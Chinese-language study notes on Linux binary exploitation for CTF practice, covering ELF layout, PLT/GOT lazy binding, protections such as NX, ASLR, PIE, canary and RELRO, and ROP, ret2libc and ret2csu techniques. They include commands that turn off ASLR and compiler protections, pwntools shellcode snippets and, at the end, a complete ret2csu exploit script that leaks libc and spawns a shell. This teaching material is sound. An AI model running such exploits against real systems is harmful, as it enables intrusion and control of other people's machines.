shellcode
配置32位編譯程序
sudo apt-get install lib32readline-dev
源代碼在線查看
https://elixir.bootlin.com/linux/v3.8/source/include/linux
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html
雜學
-
程序各個數據放在哪里

-
未初始化全局變量--Bss(不占用實際空間)
-
已初始化全局變量--Data
-
函數、全局常量(只可讀) --Code
-
局部變量(隨着函數結束釋放) -- Stack
-
輸入的數據(動態)--Heap
-
形參--寄存器
-
.rodata (readonly data):只讀數據段
-
-
寄存器
rax-eax-ax-al/ah
64-32-16-8-4
-
windows與linux區分文件
-
windows以后綴識別文件
-
linux以文件頭識別文件類型
-
-
vim編輯器以16進制查看
!xxd
-
編譯--匯編
反匯編--反編譯

-
關閉緩沖區
setbuf(stdin,0);
setbuf(stdout,0);
-
system函數
其中的字符串類容可以使用作為shell命令
如:system("/bin/sh"),調用該函數之后即可進行shell命令操作,ls,pwd,cd ..
-
nc執行遠程端口程序
nc ip port
-
64位程序只有6字節地址位:有一半為操作系統內核,該地區用戶不可使用,用戶可用區只有一半,所以小一些,多了用不完
-
管道符與grep
-
管道符“|”:將前邊的輸出作為后邊的輸入
-
grep:篩選包含目標字符串的字符串
ROPgadget --binary XXX --only "pop|ret" | grep ebx
-
-
gcc編譯與安全機制
#!bin/sh/
gcc -fno-stack-protector -z execstack -no-pie -g -o 編譯后文件名 將被編譯的文件名.c
參數解釋:
-fno-stack-protector:關閉canary
-z execstack:打開棧的可執行權限
-no-pie:關閉PIE
-g:附加調試信息(必須有源c文件)
-o 編譯后文件名:編譯文件
查看ASLR
echo 0 > /proc/sys/kernel/randomize_va_space

機器重啟會重置ASLR
-
匯編指令ret=pop eip
-
一般的函數調用(自己寫的函數和普通庫函數):使用call指令調用
系統調用:使用匯編的 int指令調用
-
一般地址內容
-
32位程序
0x804800-0x804900:自己的代碼
0xf7xxxxxxxxx:libc的文件
0xffffxxxxxxxx:棧地址
-
-
linux自帶檢查文件字符串功能
strings ret2libc | grep bin/sh
-
linux的系統調用位置
/usr/include/x86_64-linux-gnu/asm/unistd_32.h

-
計算機底層運行都是以字符串轉成ascii碼保存數據
如:
12\n=0x31320a -
查看本地libc中system偏移量
readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "system"
等價於
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
libc.symbols["system"]
-
32位程序(x86)和64位程序(amd64)的參數傳遞區別
32位:
-
僅用棧傳參數
-
在棧中從高到低地址,以逆序傳入參數,即最后一個參數在最高地址
-
call指令存入返回地址
-
壓入previous ebp
64位:
-
前6個參數分別存在
rdi、rsi、rdx、rcx、r8、r9 -
超過6個的參數存在棧中,同x86
-
call指令壓入返回地址
-
壓入previous ebp
-
-
IDA細字體顯示的函數在gdb中都沒有(這些是IDA猜測的函數,機器碼的程序中沒有)
-
程序開始之前棧中有什么內容:環境變量
-
c語言:
(函數地址)(參數)==函數(參數)
若a=greeting,即a為greeting函數地址,那么
(a)(參數)等價於a(參數)
int array[5]={0,1,2,3,4}
//array+1=array[1]
int a=array;
//a+4=array[1] 32位程序關於將函數地址加減操作
動態鏈接
-
程序編譯過程

靜態鏈接在鏈接的時候將代碼裝入程序
動態鏈接在程序裝入內存,在需要使用函數時從動態鏈接庫獲取該部分函數,動態鏈接庫一開始就存在於內存,最開始不知道具體函數在哪個位置
調試查看:

在一開始就裝入了在該目錄下文件,該文件就是一個動態鏈接庫

-
動態鏈接過程(概略):
-
call動態鏈接函數
-
跳轉到 .plt 中的 foo 表項
-
.plt表項第一條指令跳轉到.got.plt表項
-
got第一條類容為跳轉到.plt+1條指令(第一次訪問還未裝入有效地址)
-
push index,給__dl_runtime_resolve 函數傳參
-
跳轉到PLT0,繼續傳第二個參數
-
調用__dl_runtime_resolve 函數,將函數真實地址寫入.got
-
-
延遲綁定(詳細)
根據動態鏈接基礎,我們來看看plt的實際內容

-
bar@plt的第一條指令是一條通過GOT間接跳轉的指令。bar@GOT表示GOT中保存bar()這個函數相應的項。如果鏈接器在初始化階段已經初始化該項,並且將bar()的地址填入該項,那么這個跳轉指令的結果就是我們所期望的,跳轉到bar
-
但是為了實現延遲綁定,鏈接器在初始化階段並沒有將bar()的地址填入到該項,而是將上面代碼中第二條指令 ”push n“ 的地址填入到bar@GOT中,這個步驟不需要查找任何符號,所以代價很低。很明顯,第一條指令的效果是跳轉到第二條指令,相當於沒有進行任何操作。第二條指令將一個數字n壓入堆棧中,這個數字是bar這個符號引用在重定位表 “rel. plt” 中的下標,接着又是一條push指令將模塊的ID壓入到堆棧,然后跳轉到dl_ runtime resolve。這實際上就是在實現:先將所需要決議符號的下標壓入堆棧,再將模塊ID壓入堆棧,然后調用動態鏈接器的dl_ runtime_ resolve()函數來完成符號解析和重定位作。 dl_runtime_resolve在進行一系列工作以后將bar(的真正地址填入到bar@GOT中
-
一旦bar()這個函數被解析完成,當我們再次調用bar@plt時,第一條jmp指令就能夠跳轉到真正的bar()函數中,bar()函數返回的時候會根據堆棧里面保存的EIP直接返回調用者,而不會再繼續執行bar@plt中第二條指令的開始的那段代碼,那段代碼指揮在符號未被解析的時候執行一次
-
上面描述的是PLT的基本原理,PLT的真正實現要比它的結構復雜一些,ELF將GOT拆分成兩個表".got"和"".got.plt"。其中"".got"用來保存全局變量的引用地址。".got.plt"用來保存函數引用的地址,也就是說,所有對於外部函數的引用全部被分離出來放到了 ".got.plt"中。另外 ".got.plt"還有一個特殊的地方就是它的前三項是有特殊意義的,分別含義如下:
-
第一項保存的是 ".dynamic" 段的地址,這個段描述了本模塊動態鏈接的相關信息,我們在后面還會介紹 ".dynamic"段
-
第二項保存的是本模塊的ID
-
第三項保存的是_dl_runtime_resolve()的地址
-
-
-
比較靜態鏈接和動態鏈接
-
動態鏈接
gcc -fno-PIE -o dytest hello.c
編譯時關閉PIE報錯? why?
我傻了,編譯pie小寫
gcc -fno-pie -o dytest hello.c
gcc -no-pie -g -o hello hello.c
NX:-z execstack / -z noexecstack (關閉 / 開啟)
Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (關閉 / 開啟 / 全開啟)
PIE:-no-pie / -pie (關閉 / 開啟)
RELRO:-z norelro / -z lazy / -z now (關閉 / 部分開啟 / 完全開啟)
-
靜態鏈接
gcc -fno-PIE --static -o dytest hello.c
-
區別:
-
動態鏈接沒有把庫函數裝入程序,靜態鏈接把庫函數裝入程序
-
在IDA中,粉色表示的函數都是只在程序存放了一個符號,用來解析函數在動態鏈接庫

-
文件大小差距大,靜態鏈接由於庫函數的裝入

-
-
-
plt節
.rel.dyn節的每個表項對應了除了外部過程調用的符號以外的所有重定位對象,而.rel.plt節的每個表項對應了所有外部過程調用符號的重定位信息。例如你的程序中需要調用一個libc中的函數,假如是strlen,直接調用的話,這個strlen符號就會在.rel.plt節中,如果在你的程序中定義一個函數指針(假如是my_strlen)指向strlen函數,那么my_strlen符號就會在.rel.dyn節中
原文鏈接:https://blog.csdn.net/beyond702/article/details/52105778
定位動態鏈接庫函數:

ld為裝載器,同樣裝入內存中

使用IDA查看各節:
-
plt節(16字節)

-
got.plt節(8字節)

-
-
動態調試


canary
-
原理:
-
放入canary(隨機數)

-
檢查canary

-
-
知識點:canary的保護機制
當不存在canary時,多溢出數據會造成segment fault
當存在canary時,會有stack_chk_fail函數監測到,會顯示stack smashing detected

概述
工具
-
ida
-
IDA安裝:
-
目錄路徑不能有中文
-
-
python
-
解釋性代碼:由解釋器來解釋每一行代碼
運行代碼前邊加python3
如果在頭部標識好解釋器
#!/bin/python3
再添加文件可執行權限
chmod +x xxx.py
就可執行了
-
c語言編譯好后可直接執行
可執行文件分類

ELF文件


-
文件頭表:操作系統利用建立進程映像
-
段表:標識進程映像不同部分的權限(代碼段不可寫)
-
節頭表:組織ELF文件存儲在磁盤上各個節的信息

左:磁盤中
右:主存中
-
二者映射關系

下方兩指令在linux可具體查看圖示結構
虛擬地址

-
為了安全采用虛擬地址
-
操作系統為你分配實地址,給你虛擬地址使用,操作系統可以從虛擬地址映射到實地址
-
每個進程可虛擬使用4GB,但實際占有由操作系統分配僅他具體實際大小空間,分散式存儲
機器字長
如我們64位機器就是機器字長為64位,一次傳輸64位數據
段與節
-
段是進程執行時的數據結構
-
節是存儲程序在磁盤上的數據結構
-
節在裝入內存執行時會裝入段,一個段可裝多個節

plt節:解析動態鏈接函數的實際地址
text:實現特定功能
got.plt:保存具體解析到的動態鏈接函數地址
bss:不占用磁盤空間
程序執行過程
-
靜態

-
動態

棧

棧與堆的壓入方向不同,保證二者利用率到達最大
匯編指令

-
Intel與AT&T
-
Intel目的操作數在前,源操作數在后,AT&T相反
-
AT&T立即數前加$
-
AT&T取內容符號位
()小括號
-
緩沖區溢出
基本原理
-
可見匯編筆記測試3
-

特點:
-
棧從地地址向高地址增長
-
其他段都是低地址向高地址增長
-
-
工作過程(以下圖為例)

-
逆序壓入參數
-
CALL指令:保存下條指令地址ip到棧,並將ip移到子函數指令位置
-
保存當前棧頂(ebp)的位置入棧
-
將ebp移至esp
-
申請一段空間,執行子函數
-
返回
-
若有局部變量,使用leave(還原esp+還原ebp)&retn(還原eip)
-
沒有局部變量可直接pop ebp+retn,因為esp與ebp指向相同地方
pop:將ESP指向內容賦值給后邊的寄存器
如:pop ebp;將esp的內容賦值給ebp
-
-
返回值存在EAX寄存器中
-
retn還原eip:即恢復指令到主程序,相當於pop eip
-
可見PWN.pptx的P42
-
攻擊原理
當函數正在執行內部指令的過程中我們無法拿到程序的控制權,只有在發生函數調用或者結束函數調用時,程序的控制權會在函數狀態之間發生跳轉,這時才可以通過修改函數狀態來實現攻擊。而控制程序執行指令最關鍵的寄存器就是 eip,所以我們的目標就是讓 eip 載入攻擊指令的地址。
-
首先,在退棧過程中,返回地址會被傳給 eip,所以我們只需要讓溢出數據用攻擊指令的地址來覆蓋返回地址就可以了。其次,我們可以在溢出數據內包含一段攻擊指令,也可以在內存其他位置尋找可用的攻擊指令。

-
實例

漏洞
-
gets函數
讀入字符串,但不確定長度,可無限長,直到'\0'才結束讀取
-
超出規定長度的數據往上覆蓋,即往返回地址方向覆蓋
-
程序存在后門函數
system("bin/sh")
例題1
-
產因:
-
存在棧溢出gets
-
存在后門函數
system("bin/sh")
-
例題2
-
產因:
-
存在棧溢出gets
-
不存在后門函數
system("bin/sh")
-
-
由此需要自己寫入攻擊代碼shellcode,代碼寫到哪?
-
bss區
-
stack區
-
heap區
-
-
知識點
-
堆緩沖區不可執行(沒有可執行權限)
-
棧本來有可執行權限,但有NX保護(the no Execute bit),存在該保護棧就不可執行
-
the NX bit
-
程序與操作系統的防護措施,編譯時決定是否生效,由操作系統實現
-
通過在內存頁的標識中增加“執行”位, 可以表示該內存頁是否可以執行, 若程序代碼的 EIP 執行至不可運行的內存頁, 則 CPU 將直接拒絕執行“指令”造成程序崩潰
-
-
-
bss區默認有可執行權限
-
-
注意:插入代碼是機器碼,不是c語言代碼
如何獲取機器碼:
pwntools 自帶獲取機器碼功能,默認32位
form pwn import *
獲得匯編代碼
print(shellcraft.sh())
變成機器碼
print(asm(shellcraft.sh()))
獲得64位獲取shell的機器碼
print(asm(shellcraft.amd64.sh()))
注意:設置context.arch = "amd64",即python腳本要加這句才能識別是64位程序
例題3
-
產因:
-
在棧可執行的情況下
-
-
知識點
-
如何關閉ASLR
echo 0 > /proc/sys/kernel/randomize_va_space

操作系統該文件的值代表了ASLR的情況
更改其值即更改了ASLR的狀態
-
如何編譯
#!bin/sh/
gcc -fno-stack-protector -z execstack -no-pie -g -o 編譯后文件名 將被編譯的文件名.c
參數解釋:
-fno-stack-protector:關閉canary
-z execstack:打開棧的可執行權限
-no-pie:關閉PIE
-g:附加調試信息(必須有源c文件)
-o 編譯后文件名:編譯文件
-
寫函數打印字符串地址
打開ASLR:發現每次str地址隨機

關閉ASLR:地址固定

-
-
自己寫漏洞文件
//ret2stack.c編譯
gcc -fno-stack-protector -z execstack -no-pie -g -o ret2stack ret2stack.c
-
gdb調試,發現存在sourcecode,因為存在源代碼且在同一路徑下

-
gdb調試中輸出的地址和本級運行輸出的地址不同,說明兩點
-
pwndbg是將程序裝入自己的沙盒環境中來運行,
-
pwndbg固定關閉ASLR,無論主機是否開關,所以每次運行輸出地址相同
總結:實際地址為程序輸出地址,或IDA中地址,且偏移量一定正確
-
內存保護機制
-
NX(the NX bit(讓棧段沒有執行權限))
-
程序與操作系統的防護措施,編譯時決定是否生效,由操作系統實現
-
通過在內存頁的標識中增加“執行”位, 可以表示該內存頁是否可以執行, 若程序代碼的 EIP 執行至不可運行的內存頁, 則 CPU 將直接拒絕執行“指令”造成程序崩潰
-
-
ALSR(ADRESS SPACE Laout Randomization),內存隨機化
系統的防護措施,程序裝載時生效:默認一定打開
•/proc/sys/kernel/randomize_va_space = 0:沒有隨機化。即關閉 ASLR
•/proc/sys/kernel/randomize_va_space = 1:保留的隨機化。共享庫、棧、mmap() 以及 VDSO 將被隨機化
•/proc/sys/kernel/randomize_va_space = 2:完全的隨機化。在randomize_va_space = 1的基礎上,通過 brk() 分配的內存空間也將被隨機化
-
PIE(Position-Independent Executable)控制bss,data,code(text)的隨機化(磁盤中本體)
-
程序的防護措施,編譯時生效
-
隨機化ELF文件的映射地址
-
開啟 ASLR 之后,PIE 才會生效
文件映射:將物理外存的文件映射到內存,而不是寫入
-
-
canary
-
介紹:當啟用棧保護后,函數開始執行的時候會先往棧底插入 cookie 信息,當函數真正返回的時候會驗證 cookie 信息是否合法 (棧幀銷毀前測試該值是否被改變),如果不合法就停止程序運行 (棧溢出發生)。攻擊者在覆蓋返回地址的時候往往也會將 cookie 信息給覆蓋掉,導致棧保護檢查失敗而阻止 shellcode 的執行,避免漏洞利用成功。在 Linux 中我們將 cookie 信息稱為 Canary。
-

-
RELRO(Relocation Read Only)
設置符號重定向表格為只讀或在程序啟動時就解析並綁定所有動態符號,從而減少對GOT(Global Offset Table)攻擊。
Partial RELRO: gcc -Wl, -z, relro:
ELF節重排
.got, .dtors,etc. precede the .data and .bss
GOT表仍然可寫
Full RELRO: gcc -Wl, -z, relro, -z, now
支持Partial RELRO的所有功能
GOT表只讀
如果有full relro,那么泄露,修改got表的思路就不行了
查詢證明
-
gcc編譯與安全機制
#!bin/sh/
gcc -fno-stack-protector -z execstack -no-pie -g -o 編譯后文件名 將被編譯的文件名.c
參數解釋:
-fno-stack-protector:關閉canary
-z execstack:打開棧的可執行權限
-no-pie:關閉PIE
-g:附加調試信息(必須有源c文件)
-o 編譯后文件名:編譯文件
-
查看ASLR
echo 0 > /proc/sys/kernel/randomize_va_space

機器重啟會重置ASLR
-
一種攻擊aslr的方法(nop滑梯)
將棧內容全部覆蓋成nop指令(無任何操作),使得你指向任意地址,有更大的概率指向被覆蓋成nop的指令,那么跳轉到此處就會執行到nop完之后的第一條指令
-
返回導向編程
-
目的:程序之間來回跳轉到達想要的目的(多次篡改返回地址eip)
知識點
-
如何進行write的系統調用
-
write是動態鏈接庫封裝好的函數
-
動態鏈接庫內是匯編指令

-
總結:動態鏈接庫包裝匯編代碼封裝成函數,調用動態鏈接庫即完成了匯編代碼功能
-
-
什么是動態鏈接庫
ldd命令查看使用的動態鏈接庫

linux-vdso.so.1 (0x00007ffe17cc6000):高級pwn相關知識
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6a91026000):標准動態鏈接庫的軟鏈接,
軟鏈接:相當於一種快捷方式,放到任何地方都能打開指向文件
/lib64/ld-linux-x86-64.so.2 (0x00007f6a9120a000):動態鏈接庫裝載器,負責把需要的動態鏈接庫文件裝載到共享空間,沒有漏洞
-
為什么要動態鏈接庫
采用動態鏈接庫的優點:
(1)更加節省內存;
(2)DLL文件與EXE文件獨立,只要輸出接口不變,更換DLL文件不會對EXE文件造成任何影響,因而極大地提高了可維護性和可擴展性。
-
查看動態鏈接庫
根目錄下的lib文件

查看libc.so.6

可以了解到所有系統都有該文件名,但指向了不同的libc文件(視頻為libc-2.28.so),所以libc.so.6為不變的指向libc文件的軟鏈接,相當於libc文件的快捷方式
ret2sys & ROP
-
跳轉到共享區的動態鏈接庫的system函數(或者execve函數)
system函數是execve函數包裝
execve對應的匯編代碼

-
在沒有對應連續匯編代碼(一條完整的指令)的情況下,如何做到執行獲取shell的函數呢?
答:使用ROP,尋找pop+ret指令的組合,達到離散分布指令連續執行的效果
注意:ret指令相當於pop eip

模擬過程:
-
首先棧溢出覆蓋返回地址,指令跳轉到0x08052318位置
pop %edx;ret;
-
0x0c0c0c0c的值賦給edx,跳轉到0x0809951f位置的
xor %eax,%eax
-
eax置0,跳轉到0x080788c1
mov %eax,(%edx);ret;
如此來達到想要的目的

-
例4
該例題為靜態鏈接,所使用的指令都能在可執行程序找到
-
function windows按ctrl+f
搜索system函數
-
在字符串搜索"/bin/sh",存在,但不是system函數參數
-
尋找gaget
ROPgadget --binary XXX --only "pop|ret"
在XXX ELF文件中尋找只有pop或者ret指令
ROPgadget --binary XXX --only "pop|ret" |grep eax
在XXX ELF文件中尋找只有pop或者ret指令,並篩選其中包含eax的字符串
注意:構造的命令中只有ret改變了eip進行指令跳轉,但是堆棧段並沒有跳轉,所以可以通過溢出到連續的堆棧段來確定數據
-
尋找int 80
ROPgadget --binary XXX --only "int"
或者使用python自帶的字符串查找
from pwn import *
elf=ELF("./ret2systemcall")
hex(next(elf.search(b"/bin/sh")))
ret2libc
-
環境:
存在system函數,但其中的參數無效
-
思路:只需跳轉到plt節對應的system地址即可
例5
-
例1
如何尋找system函數在plt的地址
-
在IDA中拖寬左欄

注意:不能直接跳轉到plt節就結束,因為plt的內容只是地址,要取plt內容的內容,才是libc中的函數

-
如何給函數傳參
因為調用的system函數需要參數,比如"/bin/sh",那么這段字符串該在哪
根據堆棧傳參原理,在當前ebp+12的位置為第一參數位置

但是由於破壞了堆棧原理,所以需要加4字節垃圾數據,即參數尋找在當前ebp前2字節
返回到system函數首先壓入其ebp,那么ebp上兩字節就是他的第一個參數

注意:ebp位置:指向previous ebp的起始地址
垃圾數據:保證system跳轉的參數位置正確
-
需解決的問題
-
保證system函數寫入到got節
無需保證,寫入或不寫入最終都會跳轉到system函數
因為:可直接返回到plt位置,這樣無論got中是否有system函數地址,都會跳轉到got函數,而不是直接跳到got節去獲取system函數地址
-
如果沒有“/bin/sh”字符串該怎么辦
使用read函數自己讀入
-
多次取內容是否自動完成
由1知:會從plt標記處完全跳轉到system函數
-
堆棧如何安排
如果過程調用2個或以下數量函數,那么兩函數相鄰,兩參數相鄰即可
如果多余2個,那么需要使用函數地址+pop ret+參數形式來構成鏈
-
如何找到plt節:
plt節寫死在elf文件中,只需在IDA中找到其對應位置即可
-
-
例6
-
條件:在例5的情況下沒有“/bin/sh”
-
如何解決:使用ROP自己構造gets函數,自己讀入“/bin/sh”到bss節
-
存在bss節的全局變量
-
bss節地址固定
-
ROP可構造出gets函數
-
例7
-
條件:
-
沒有/bin/sh
-
沒有system函數
-
有libc.so文件
-
-
如何解決
-
使用”sh“代替“/bin/sh”
使用字符串搜索sh
strings ret2libc3 |grep sh
-
利用libc.so文件,通過gdb調試確定其他動態鏈接庫函數puts與system函數的相對地址差(固定不變)
通過程序輸出其動態鏈接庫函數puts

-
注意:寫入system的地址的時候,由於底層的原理機制,需要將地址轉換成10進制的字符串型(ascii碼)
str(0x123456)
-
-
操作
-
python調試
elf=ELF("./ret2libc3") #創建進程
libc=ELF("./libc.so")
elf.got["puts"] #尋找got表中的puts函數地址
a=libc.symbols["puts"] #尋找puts在libc中偏移量
b=libc.symbols["system"] #尋找system在libc中偏移量
c=a-b #計算libc中puts與system的相對偏移,該值固定 -
GDB調試
-
plt:查看plt節地址與部分信息
-
got:查看got表信息
-
-
-
小知識
-
根據段頁式管理,計算機以4KB分頁,導致system函數地址最低3位一定相同
-
本地只能看偏移量通過計算獲取實際地址,不能直接看gdb獲得的實際地址,可以用程序自身輸出泄露地址,因為本地的libc和遠端libc可能不相同
-
ret2csu
-
原理:
在 64 位程序中,函數的前 6 個參數是通過寄存器傳遞的,但是大多數時候,我們很難找到每一個寄存器對應的 gadgets。 這時候,我們可以利用 x64 下的 __libc_csu_init 中的 gadgets。這個函數是用來對 libc 進行初始化操作的,而一般的程序都會調用 libc 函數,所以這個函數一定會存在。我們先來看一下這個函數 (當然,不同版本的這個函數有一定的區別)
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16•o
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54•j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34•j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp這里我們可以利用以下幾點
-
從 0x000000000040061A 一直到結尾,我們可以利用棧溢出構造棧上數據來控制 rbx,rbp,r12,r13,r14,r15 寄存器的數據。
-
從 0x0000000000400600 到 0x0000000000400609,我們可以將 r13 賦給 rdx, 將 r14 賦給 rsi,將 r15d 賦給 edi(需要注意的是,雖然這里賦給的是 edi,但其實此時 rdi 的高 32 位寄存器值為 0(自行調試),所以其實我們可以控制 rdi 寄存器的值,只不過只能控制低 32 位),而這三個寄存器,也是 x64 函數調用中傳遞的前三個寄存器。此外,如果我們可以合理地控制 r12 與 rbx,那么我們就可以調用我們想要調用的函數。比如說我們可以控制 rbx 為 0,r12 為存儲我們想要調用的函數的地址。
-
從 0x000000000040060D 到 0x0000000000400614,我們可以控制 rbx 與 rbp 的之間的關系為 rbx+1 = rbp,這樣我們就不會執行 loc_400600,進而可以繼續執行下面的匯編程序。這里我們可以簡單的設置 rbx=0,rbp=1。
-
-
個人總結:
-
主要針對64位程序,32位程序使用ROPGagets就可以找到對應的pop_ret指令,32位程序從棧傳參,所以無需特殊的指令來對寄存器賦值
-
64位程序中由於需要使用寄存器傳參,而恰好與csu_init中的寄存器賦值相對應
.text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15
對這些寄存器賦值后,在調用一下指令
.text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d
即可完成對前3個參數寄存器的賦值
-
實際作用效果:無限制的條件下實現寄存器傳參,這里主要是對rdx傳參
-
-
攻擊流程
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
level5 = ELF('./level5')
sh = process('./level5')
write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8
def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)
sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)
## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
#rbx=0,rbp=1 => rbx=rbp-1;
#0 => r15 => edi
#bss_base => r14 => rsi
#16 => r13 => rdx
#read_got => retadress
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')
sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
